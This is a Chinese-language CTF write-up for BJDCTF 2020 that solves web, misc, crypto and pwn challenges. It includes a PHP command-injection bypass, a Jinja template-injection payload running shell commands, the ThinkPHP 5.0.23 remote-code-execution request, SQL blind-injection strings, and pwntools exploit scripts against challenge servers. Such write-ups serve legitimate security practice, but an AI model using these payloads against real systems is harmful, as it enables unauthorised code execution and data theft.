title: BJDCTF 2020 刷題記錄
categories:
- CTF
tags: - BJDCTF
- CTF2020
根據提示,輸入.index.php.swp下載到源碼。
之后在linux內輸入vim -r index.php.swp即可看到源碼
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>give me a girl</title> </head> <body> <center><h1>珍愛網</h1></center> </body> </html> <?php error_reporting(0); echo "how can i give you source code? .swp?!"."<br>"; if (!isset($_POST['girl_friend'])) { die("where is P3rh4ps's girl friend ???"); } else { $girl = $_POST['girl_friend']; if (preg_match('/\>|\\\/', $girl)) { die('just girl'); } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) { echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->"; } else { //duangShell~~~~ exec($girl); } }
curl -X POST --data “head /flag
” 174.1.51.13:88
用curl帶出flag
ssti模板注入
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
即可讀取flag
根據主頁提示是thinkphp5
訪問目錄/index.php?s=captcha
得知詳細版本為
5.0.23
去網上百度漏洞。
發現以下漏洞。直接利用得到flag。
POST /index.php?s=captcha HTTP/1.1 Host: 45a2092a-fa59-4b90-9c4c-55eec2662d02.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 79 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
通過掃描器掃描到/hint.txt
打開后為
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
過濾了select,=,’ 等字符
username通過輸入\ 可以逃逸字符串
password = or ascii(substr(password,1,1))>78#
布爾盲注,一個一個測,測出密碼
賬號測得admin
or LENGTH(password)>12# 測得密碼為12位
密碼正在測
OhyOuFOuNdit
輸入后獲得flag
簡單的偽加密winhex破解一下然后發現了文件,發現是
IHDR 是png的格式,然后加一個表頭,出現圖片破解一下
42 4A 44 7B 79 31 6E 67 7A 75 69 73 68 75 61 69 7D
BJD{y1ngzuishuai}
內藏壓縮包,發現壓縮包就是一個陷阱,無用,就看到了奇怪的很整齊的代碼
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-GZWP28er-1584954919873)(https://i.loli.net/2020/03/23/WvVZuGmBAiCxRHf.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-4Dz8MWQ5-1584954919873)(https://i.loli.net/2020/03/23/KGRjZmrfQ35BphL.png)]
發現是一個矩陣圖 BJD{572154976}
發現圖片其實是zip,解壓發現,文件打不開,發現是視頻發現視頻中的二維碼
修復了一下
61 67 69 6E 5F 6C 6F 76 65 5F 59 42 4A 44 7B 69 6D 31 6E 67 7D
agin_love_YBJD{im1ng}
重新組一下詞語
BJD{imagin_love_Y1ng}
新佛曰:諸壽隸僧壽降吽壽諸壽陀壽摩隸僧缽薩願心壽吒壽囉寂壽闍諸壽哆壽慧壽聞壽色吽愍壽所壽蜜如
破解
gemlovecom
CRC爆破腳本跑他
發現高度被修改,winhex修改一下
BJD{PnG_He1ghT_1s_WR0ng}
題目給出一段編碼,一看就知道是base64,於是base64解密得flagflag:BJD{W3lc0me_T0_BJDCTF}
一組小貓吃飯團的是0 吃雞腿的是1 按此排列出一串二進制01000010
01001010
01000100
01111011
01001101
00100001
01100001
00110000
01111110
01111101
在轉成十六進制,從十六進制在轉成字符串
即可得到flag:BJD{M!a0~}
BJD{淛匶襫黼瀬鎶軄鶛驕鰳哵}
題目是79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20
轉成字符串為yanzi ZJQ{xilzv_iqssuhoc_suzjg}
維吉尼亞密碼解得BJD{yanzi_jiushige_shabi}
IDEA打開即可
題目說明
題目提示one_gadget
下載它的2.29libc,並one_gadget命令找一下libc里面的gadget
解題思路
exp: from pwn import* context.log_level = 'debug' #p= process('./one_gadget') p = remote('node3.buuoj.cn',25747) libc = ELF('./libc-2.29.so') p.recvuntil('for u:') printf_addr = p.recv(14) printf_addr = eval(printf_addr) log.success('printf_addr==>'+hex(printf_addr)) base = printf_addr - libc.symbols["printf"] one_gadget = base + 0x106ef8 #gdb.attach(p) p.sendlineafter('gadget:',str(one_gadget)) p.interactive()
解題思路
整數溢出
from pwn import* #context.log_level = 'debug' #p = process('./r2t3') p =remote('node3.buuoj.cn',28270) p.recvuntil('name:\n') payload = 'A'*(0x11+4)+p32(0x0804858B) payload = payload.ljust(260,'a') #gdb.attach(p,'b *0x080485E9') p.sendline(payload) p.interactive()
玩貪吃蛇。3000 2333
完~~~~~~~~~~謝謝觀看